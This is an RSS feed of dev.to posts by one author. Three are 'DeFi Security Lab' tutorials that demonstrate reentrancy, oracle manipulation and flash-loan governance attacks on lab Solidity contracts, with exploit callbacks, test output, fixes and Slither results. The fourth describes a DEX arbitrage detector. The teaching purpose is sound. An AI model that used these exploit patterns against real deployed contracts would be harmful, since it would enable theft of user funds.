<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: rim dinov</title>
    <description>The latest articles on DEV Community by rim dinov (@rdin777).</description>
    <link>https://dev.to/rdin777</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3816563%2F096b32fe-8ebb-4541-8e37-d43856cb987e.png</url>
      <title>DEV Community: rim dinov</title>
      <link>https://dev.to/rdin777</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rdin777"/>
    <language>en</language>
    <item>
      <title>I Voted a Treasury Empty in One Transaction — and Slither Saw Nothing Again</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 06 Dec 2026 06:53:43 +0000</pubDate>
      <link>https://dev.to/rdin777/i-voted-a-treasury-empty-in-one-transaction-and-slither-saw-nothing-again-1peb</link>
      <guid>https://dev.to/rdin777/i-voted-a-treasury-empty-in-one-transaction-and-slither-saw-nothing-again-1peb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjmt6zwc53cmlzk2kcnwp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjmt6zwc53cmlzk2kcnwp.PNG" alt=" " width="800" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Not hacked. &lt;strong&gt;Voted&lt;/strong&gt; empty. The attacker followed every rule. That's the problem.&lt;/p&gt;

&lt;p&gt;This is DeFi Security Lab #3. Full video (4 min):&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/5N0ubYDDkWs" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;The governance contract counts votes by your &lt;strong&gt;current&lt;/strong&gt; token balance, and lets a proposal execute &lt;strong&gt;instantly&lt;/strong&gt; with a two-thirds supermajority:&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
function vote(uint id) external {&lt;br&gt;
    proposals[id].votes += gov.balanceOf(msg.sender); // current balance&lt;br&gt;
}&lt;br&gt;
function execute(uint id) external {&lt;br&gt;
    Proposal storage p = proposals[id];&lt;br&gt;
    require(p.votes * 3 &amp;gt;= gov.totalSupply() * 2, "supermajority"); // 2/3 -&amp;gt; instant&lt;br&gt;
    p.executed = true;&lt;br&gt;
    (bool ok,) = p.target.call(p.data);&lt;br&gt;
    require(ok);&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Two design choices: current balance, instant execution. Together they are the bug. A flash loan lets you &lt;em&gt;be&lt;/em&gt; the supermajority for one transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  The attack
&lt;/h2&gt;

&lt;p&gt;Six steps, one callback:&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
function onFlashLoan(uint amt, uint fee) external {&lt;br&gt;
    usdc.approve(address(silo), amt);&lt;br&gt;
    silo.deposit(amt);                              // 1. buy votes (1:1)&lt;br&gt;
    bytes memory data = abi.encodeCall(Treasury.drain, (address(this), usdc.balanceOf(address(treasury))));&lt;br&gt;
    uint id = gov.propose(address(treasury), data); // 2. propose&lt;br&gt;
    gov.vote(id);                                   // 3. vote with borrowed capital&lt;br&gt;
    gov.execute(id);                                // 4. instant execute&lt;br&gt;
    silo.withdraw(amt);                             // 5. withdraw&lt;br&gt;
    usdc.approve(address(lender), amt + fee);       // 6. repay&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Test output:&lt;/p&gt;

&lt;p&gt;Treasury before (USDC): 100000&lt;br&gt;
Profit         (USDC): 99900&lt;br&gt;
Treasury after  (USDC): 0&lt;/p&gt;

&lt;h2&gt;
  
  
  This really happened
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Beanstalk, April 2022: ~$182M.&lt;/strong&gt; The attacker flash-loaned ~$1B, bought a supermajority, and voted the treasury to himself via &lt;code&gt;emergencyCommit&lt;/code&gt; — instant execution, no delay. He called it a governance proposal.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: timelock
&lt;/h2&gt;

&lt;p&gt;A proposal cannot execute until &lt;code&gt;proposeTime + delay&lt;/code&gt; (2 days in the lab):&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
require(block.timestamp &amp;gt;= p.readyAt, "timelock");&lt;/p&gt;

&lt;p&gt;A flash loan lives for &lt;strong&gt;one transaction&lt;/strong&gt;. It cannot wait two days. So the attack reverts — the loan can't be repaid. The two mechanisms are incompatible; that incompatibility &lt;strong&gt;is&lt;/strong&gt; the defense.&lt;/p&gt;

&lt;p&gt;Second layer: snapshot voting power at proposal time (Compound Governor Bravo), so capital borrowed &lt;em&gt;after&lt;/em&gt; the proposal never counts.&lt;/p&gt;

&lt;p&gt;[PASS] testTimelock()   // attack reverts on "timelock"&lt;/p&gt;

&lt;h2&gt;
  
  
  What Slither sees
&lt;/h2&gt;

&lt;p&gt;bash&lt;br&gt;
slither . --detect reentrancy-eth&lt;/p&gt;

&lt;h1&gt;
  
  
  analyzed (9 contracts with 1 detectors), 0 result(s) found
&lt;/h1&gt;

&lt;p&gt;Zero findings. Again. The code is correct; the &lt;strong&gt;rules&lt;/strong&gt; are broken.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Episode&lt;/th&gt;
&lt;th&gt;Slither said&lt;/th&gt;
&lt;th&gt;Reality&lt;/th&gt;
&lt;th&gt;Blind spot&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;#1 Reentrancy&lt;/td&gt;
&lt;td&gt;flagged (Guard)&lt;/td&gt;
&lt;td&gt;safe&lt;/td&gt;
&lt;td&gt;false positive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2 Oracle&lt;/td&gt;
&lt;td&gt;0 results&lt;/td&gt;
&lt;td&gt;-$30k&lt;/td&gt;
&lt;td&gt;economic bug&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#3 Governance&lt;/td&gt;
&lt;td&gt;0 results&lt;/td&gt;
&lt;td&gt;-$100k&lt;/td&gt;
&lt;td&gt;design bug&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Static analysis sees code patterns. It does not see economics, and it does not see governance. For that you need to think like an attacker.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Never count votes by current balance — snapshot at proposal time.&lt;/li&gt;
&lt;li&gt;Always timelock execution — a flash loan cannot wait.&lt;/li&gt;
&lt;li&gt;Correct code can still be a broken design.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;All contracts and tests: &lt;a href="https://github.com/rdin777/defi-security-blueprint/tree/main/flashloan-lab" rel="noopener noreferrer"&gt;flashloan-lab on GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;bash&lt;br&gt;
forge test -vvv&lt;/p&gt;

&lt;p&gt;&lt;em&gt;DeFi Security Lab #3. Previous: &lt;a href="https://dev.to/rdin777/i-drained-a-smart-contract-in-one-transaction-and-slither-saw-it-coming-mostly-4dlf"&gt;Reentrancy&lt;/a&gt;, &lt;a href="https://dev.to/rdin777/i-turned-0-into-18428-in-one-transaction-and-slither-saw-nothing-nad"&gt;Oracle&lt;/a&gt;. Next: Quantum FUD vs Reality.&lt;/em&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  security, #solidity, #blockchain, #web3
&lt;/h1&gt;

</description>
    </item>
    <item>
      <title>I Turned $0 into $18,428 in One Transaction — and Slither Saw Nothing</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Wed, 02 Dec 2026 12:15:25 +0000</pubDate>
      <link>https://dev.to/rdin777/i-turned-0-into-18428-in-one-transaction-and-slither-saw-nothing-nad</link>
      <guid>https://dev.to/rdin777/i-turned-0-into-18428-in-one-transaction-and-slither-saw-nothing-nad</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsk2hnw22f2kz6eio3kw4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fsk2hnw22f2kz6eio3kw4.PNG" alt=" " width="800" height="387"&gt;&lt;/a&gt;&lt;br&gt;
Zero dollars. One transaction. $18,428 of profit.&lt;/p&gt;

&lt;p&gt;The lending vault is left with $30,000 of bad debt. No keys stolen. The exchange works exactly as designed. The bug is in what the vault trusts.&lt;/p&gt;

&lt;p&gt;This is DeFi Security Lab #2. Full video (3 min):&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/LWCdl8o0R_M" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;The vault prices collateral with the AMM's spot price:&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
function maxBorrow(address w) public view returns(uint){&lt;br&gt;
    uint cap = collateral[w] * amm.spotPrice() / 1e18 * 75 / 100; // LTV 75%&lt;br&gt;
    return cap &amp;gt; debt[w] ? cap - debt[w] : 0;&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Spot price is just the ratio of reserves: &lt;code&gt;reserveUSDC / reserveTKN&lt;/code&gt;. Anyone with capital can move it. A flash loan provides the capital for free — within one transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  The attack
&lt;/h2&gt;

&lt;p&gt;Five steps, one callback:&lt;/p&gt;

&lt;p&gt;solidity&lt;br&gt;
function onFlashLoan(uint amt, uint fee) external {&lt;br&gt;
    usdc.approve(address(amm), amt);&lt;br&gt;
    uint got = amm.swapUsdcForToken(amt);          // 1. pump: 100 -&amp;gt; 399&lt;br&gt;
    tkn.approve(address(vault), 100e18);&lt;br&gt;
    vault.deposit(100e18);                          // 2. collateral&lt;br&gt;
    vault.borrow(vault.maxBorrow(address(this)));   // 3. borrow at inflated price&lt;br&gt;
    tkn.approve(address(amm), got - 100e18);&lt;br&gt;
    amm.swapTokenForUsdc(got - 100e18);             // 4. dump back&lt;br&gt;
    usdc.approve(address(lender), amt + fee);       // 5. repay&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;Test output:&lt;/p&gt;

&lt;p&gt;Spot before (USDC/TKN): 100&lt;br&gt;
Spot after  (USDC/TKN): 123&lt;br&gt;
Profit      (USDC): 18428&lt;br&gt;
Bad debt    (USDC): 29954&lt;/p&gt;

&lt;p&gt;100 TKN of collateral (real value ~$10k) is valued at $39,940 at the pumped price. The vault lends $29,955. The attacker repays the flash loan and keeps $18,428.&lt;/p&gt;

&lt;h2&gt;
  
  
  This really happened
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Mango Markets, October 2022:&lt;/strong&gt; ~$114M. Avraham Eisenberg pumped the MNGO price and borrowed against the inflated collateral.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Harvest Finance, October 2020:&lt;/strong&gt; $24M. Flash loan + Curve pool price manipulation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The fix: TWAP
&lt;/h2&gt;

&lt;p&gt;Don't ask the price now. Ask the average price over time.&lt;/p&gt;

&lt;p&gt;The AMM accumulates &lt;code&gt;price * seconds&lt;/code&gt;. The oracle divides the accumulated price by elapsed time over a window (30 minutes in the lab).&lt;/p&gt;

&lt;p&gt;The key insight: &lt;strong&gt;inside one transaction, zero seconds pass.&lt;/strong&gt; The pumped price gets zero weight. TWAP stays at 100.&lt;/p&gt;

&lt;p&gt;TWAP price (USDC/TKN): 100&lt;br&gt;
[PASS] testTWAP()   // attack reverts&lt;/p&gt;

&lt;p&gt;The vault now lends the honest $7,500. The attacker cannot repay the flash loan — the whole transaction reverts. The attack is not just blocked, it is unprofitable.&lt;/p&gt;

&lt;p&gt;For production: a decentralized feed (Chainlink) is the standard choice.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Slither sees
&lt;/h2&gt;

&lt;p&gt;bash&lt;br&gt;
slither . --detect reentrancy-eth&lt;/p&gt;

&lt;h1&gt;
  
  
  analyzed (8 contracts with 1 detectors), 0 result(s) found
&lt;/h1&gt;

&lt;p&gt;Zero findings. On the contract that just lost $30,000.&lt;/p&gt;

&lt;p&gt;Episode 1 gave a false positive: Slither flagged a mutex-protected contract that was safe. Episode 2 gives a false negative: Slither stays silent about a real economic bug.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Episode&lt;/th&gt;
&lt;th&gt;Slither said&lt;/th&gt;
&lt;th&gt;Reality&lt;/th&gt;
&lt;th&gt;Lesson&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;#1 Reentrancy&lt;/td&gt;
&lt;td&gt;flagged (Guard)&lt;/td&gt;
&lt;td&gt;safe&lt;/td&gt;
&lt;td&gt;false positive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;#2 Oracle&lt;/td&gt;
&lt;td&gt;0 results&lt;/td&gt;
&lt;td&gt;-$30k&lt;/td&gt;
&lt;td&gt;false negative&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;There is no detector for economic logic. Static analysis sees code patterns, not money flows. For that you need PoC tests.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Never trust spot price as an oracle.&lt;/li&gt;
&lt;li&gt;Use TWAP or a decentralized feed.&lt;/li&gt;
&lt;li&gt;"Clean" from an analyzer is not the same as "safe".&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;All contracts and tests: &lt;a href="https://github.com/rdin777/defi-security-blueprint/tree/main/oracle-lab" rel="noopener noreferrer"&gt;oracle-lab on GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run it yourself:&lt;/p&gt;

&lt;p&gt;bash&lt;br&gt;
forge test -vvv&lt;/p&gt;

&lt;p&gt;&lt;em&gt;DeFi Security Lab #2. Episode 1: &lt;a href="https://dev.to/rdin777/i-drained-a-smart-contract-in-one-transaction-and-slither-saw-it-coming-mostly-4dlf"&gt;Reentrancy&lt;/a&gt;. Next: flash loan attacks.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>I Drained a Smart Contract in One Transaction — and Slither Saw It Coming (Mostly)</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Sun, 29 Nov 2026 09:50:22 +0000</pubDate>
      <link>https://dev.to/rdin777/i-drained-a-smart-contract-in-one-transaction-and-slither-saw-it-coming-mostly-4dlf</link>
      <guid>https://dev.to/rdin777/i-drained-a-smart-contract-in-one-transaction-and-slither-saw-it-coming-mostly-4dlf</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7y48evnd2kpsom9bi8v.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fk7y48evnd2kpsom9bi8v.PNG" alt=" "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Ten ether. One transaction. Zero balance.&lt;/p&gt;

&lt;p&gt;No stolen keys. No phishing. Just two lines of code in the wrong order.&lt;/p&gt;

&lt;p&gt;This is DeFi Security Lab #1. Full video (4 min):&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/XoatKImHejI" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug
&lt;/h2&gt;

&lt;p&gt;A simple vault. Users deposit ETH and withdraw later:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;function withdraw() external {
    uint256 bal = balances[msg.sender];
    require(bal &amp;gt; 0, "no balance");
    (bool ok, ) = msg.sender.call{value: bal}(""); // send money FIRST
    require(ok, "transfer failed");
    balances[msg.sender] = 0;                      // update state SECOND — too late
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The contract sends ETH &lt;strong&gt;before&lt;/strong&gt; it zeroes the balance. The &lt;code&gt;call&lt;/code&gt; gives control to the recipient. Between those two lines, the old balance still exists.&lt;/p&gt;

&lt;p&gt;Solidity 0.8 does not protect you from this.&lt;/p&gt;

&lt;h2&gt;
  
  
  The attack
&lt;/h2&gt;

&lt;p&gt;The attacker deposits 1 ETH, calls &lt;code&gt;withdraw()&lt;/code&gt;, and calls it again from &lt;code&gt;receive()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;receive() external payable {
    if (address(store).balance &amp;gt;= 1 ether) {
        store.withdraw(); // balance was never zeroed — check passes again
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Foundry trace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;withdraw → receive → withdraw → receive → ... (11 calls)
Store before (ETH): 10
Store after  (ETH): 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One ether in. Eleven ether out. One transaction.&lt;/p&gt;

&lt;h2&gt;
  
  
  This really happened
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The DAO, 2016:&lt;/strong&gt; ~3.6M ETH drained. Ethereum split into ETH and ETC.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rari/Fei, 2022:&lt;/strong&gt; ~$80M drained through a neighboring contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;Move one line. Update state &lt;strong&gt;before&lt;/strong&gt; sending money:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;balances[msg.sender] = 0;                      // state first
(bool ok, ) = msg.sender.call{value: bal}(""); // money second
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now the repeated call sees zero and fails. The whole attack reverts.&lt;/p&gt;

&lt;p&gt;This rule has a name: &lt;strong&gt;Checks-Effects-Interactions (CEI)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;A mutex (&lt;code&gt;nonReentrant&lt;/code&gt;) also works. Our tests prove both fixes stop the attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Slither sees
&lt;/h2&gt;

&lt;p&gt;We ran Slither on all three contracts:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;slither . --detect reentrancy-eth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Contract&lt;/th&gt;
&lt;th&gt;Slither&lt;/th&gt;
&lt;th&gt;Real test&lt;/th&gt;
&lt;th&gt;Verdict&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;EtherStore&lt;/td&gt;
&lt;td&gt;flagged&lt;/td&gt;
&lt;td&gt;drained&lt;/td&gt;
&lt;td&gt;correct&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EtherStoreCEI&lt;/td&gt;
&lt;td&gt;clean&lt;/td&gt;
&lt;td&gt;safe&lt;/td&gt;
&lt;td&gt;correct&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EtherStoreGuard&lt;/td&gt;
&lt;td&gt;flagged&lt;/td&gt;
&lt;td&gt;safe&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;false positive&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Slither found the real bug. But it also flagged the protected contract — it sees the pattern "call, then write" and does not understand the mutex.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Slither sees patterns, not behavior.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It also stays silent about read-only and cross-contract reentrancy. That is episode 2.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Update state before sending money (CEI).&lt;/li&gt;
&lt;li&gt;A mutex helps, but it is not a cure.&lt;/li&gt;
&lt;li&gt;Static analysis is a tool, not the truth. Test your contracts.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Code
&lt;/h2&gt;

&lt;p&gt;All contracts and tests: &lt;a href="https://github.com/rdin777/defi-security-blueprint/tree/main/reentrancy-lab" rel="noopener noreferrer"&gt;reentrancy-lab on GitHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Run it yourself:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;forge &lt;span class="nb"&gt;test&lt;/span&gt; --match-test testExploit -vvvv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;DeFi Security Lab #1. Next episode: oracle manipulation.&lt;/em&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Base DEX Arbitrage Detector v2.0: Two-Stage QuoterV2 Flow, Compact CLI &amp; JSONL Analytics</title>
      <dc:creator>rim dinov</dc:creator>
      <pubDate>Thu, 26 Nov 2026 10:28:53 +0000</pubDate>
      <link>https://dev.to/rdin777/base-dex-arbitrage-detector-v20-two-stage-quoterv2-flow-compact-cli-jsonl-analytics-218a</link>
      <guid>https://dev.to/rdin777/base-dex-arbitrage-detector-v20-two-stage-quoterv2-flow-compact-cli-jsonl-analytics-218a</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F92f9wce40piqf8tbpe07.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F92f9wce40piqf8tbpe07.PNG" alt=" " width="800" height="364"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Markdown&lt;br&gt;
Version &lt;code&gt;v2.0&lt;/code&gt; of my arbitrage detector for &lt;strong&gt;Uniswap V3&lt;/strong&gt; and &lt;strong&gt;Aerodrome&lt;/strong&gt; on &lt;strong&gt;Base&lt;/strong&gt; (&lt;code&gt;WETH/USDC&lt;/code&gt;) is now out, tagged and released in &lt;a href="https://github.com/rdin777/base_bot" rel="noopener noreferrer"&gt;&lt;code&gt;rdin777/base_bot&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The goal of &lt;code&gt;v2.0&lt;/code&gt; was to make local runs faster, keep terminal output readable during live observation and screen recordings, and separate cheap prefiltering from expensive on-chain quote verification.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Full walkthrough (2m03s):&lt;/strong&gt; &lt;a href="https://youtu.be/odpyCwqqCsU" rel="noopener noreferrer"&gt;Base DEX Arbitrage Detector v2.0: QuoterV2, Compact CLI &amp;amp; JSONL Analytics&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shorts recap (0m46s):&lt;/strong&gt; &lt;a href="https://youtube.com/shorts/2H-EWbpfsSg" rel="noopener noreferrer"&gt;Base DEX Arbitrage Bot v2.0: PREFILTER vs QuoterV2 ($1k vs $5k)&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  What Changed in v2.0
&lt;/h2&gt;

&lt;p&gt;In &lt;code&gt;runV2.ts&lt;/code&gt; and the surrounding evaluation/logging pipeline (&lt;code&gt;detectorLoop.ts&lt;/code&gt;, &lt;code&gt;arbitrageEvaluator.ts&lt;/code&gt;, &lt;code&gt;opportunityLogger.ts&lt;/code&gt;, &lt;code&gt;analyzeJsonl.ts&lt;/code&gt;), I focused on four practical improvements:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Compact single-line CLI (&lt;code&gt;--compact&lt;/code&gt;)&lt;/strong&gt;: Formats each evaluation into one line (&lt;code&gt;#tick | UNI-&amp;gt;AERO | PREFILTER/QUOTED | netUsd (bps) | impact | latency&lt;/code&gt;) so live runs and demos stay clean.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Configurable CLI flags&lt;/strong&gt;: Added &lt;code&gt;--trade-size &amp;lt;usd&amp;gt;&lt;/code&gt;, &lt;code&gt;--interval &amp;lt;ms&amp;gt;&lt;/code&gt;, and &lt;code&gt;--force-quote&lt;/code&gt; (which sets &lt;code&gt;quoterTriggerSpreadBps&lt;/code&gt; and &lt;code&gt;minNetProfitUsd&lt;/code&gt; to &lt;code&gt;-10_000&lt;/code&gt; so you can force live &lt;code&gt;QuoterV2&lt;/code&gt; calls and JSONL writes even when spread is negative).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Two-stage evaluation (&lt;code&gt;PREFILTER&lt;/code&gt; → &lt;code&gt;QUOTED&lt;/code&gt;)&lt;/strong&gt;: Runs a fast local check first before calling on-chain &lt;code&gt;QuoterV2&lt;/code&gt; on candidates that pass trigger thresholds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;JSONL persistence &amp;amp; log summary (&lt;code&gt;analyzeJsonl.ts&lt;/code&gt;)&lt;/strong&gt;: Appends structured records to &lt;code&gt;./logs/arb_&amp;lt;size&amp;gt;.jsonl&lt;/code&gt; and computes window bounds, net/gross averages and percentiles, per-direction impact stats, and malformed-line counts.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Running the Benchmarks on Base (&lt;code&gt;WETH/USDC&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;package.json&lt;/code&gt; includes helper scripts for quick checks and log analysis:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
bash
npm run check
npm run demo:1k
npm run demo:5k
npm run demo:1k -- --force-quote
npm run analyze:1k
1. Fast PREFILTER at $1,000 (npm run demo:1k)
Running tsx runV2.ts --compact --trade-size 1000 in PREFILTER mode evaluates ticks in 0–4ms without triggering heavy QuoterV2 RPC calls on every cycle:

Direction: UNI-&amp;gt;AERO

Latency: 0–4ms

Impact: 0 / 59 bps

Net PnL: around -$3.75 to -$3.84 (-38 bps) at observed spreads

2. Scaling Trade Size to $5,000 (npm run demo:5k)
Increasing --trade-size to 5000 shows how liquidity depth on the second leg changes the math even before any on-chain quote call:

Direction: UNI-&amp;gt;AERO

Latency: 0–4ms

Impact: 0 / 171 bps (second-leg impact jumps from 59 bps to 171 bps)

Net PnL: around -$75.70 to -$75.76 (-151 to -152 bps)

3. On-Chain QuoterV2 &amp;amp; JSONL Analysis (--force-quote + analyze:1k)
Passing --force-quote forces the detector through the QUOTED path using on-chain QuoterV2 and writes records to ./logs/arb_1000.jsonl:

Latency: 445–537ms (e.g., 520ms, 446ms, 455ms, 537ms across a 4-record test run)

Impact: 5 / 59 bps (measured 5 bps leg-1 impact from QuoterV2, 59 bps leg-2 constant-product impact)

Net PnL: -3.74$ (-37 bps), gross average -3.66$

Log check (analyzeJsonl.ts): 4 records processed, 0 bad lines, UNI_TO_AERO average leg-1 impact 5.0 bps (p95=5 bps) and leg-2 impact 59.0 bps (p95=59 bps)

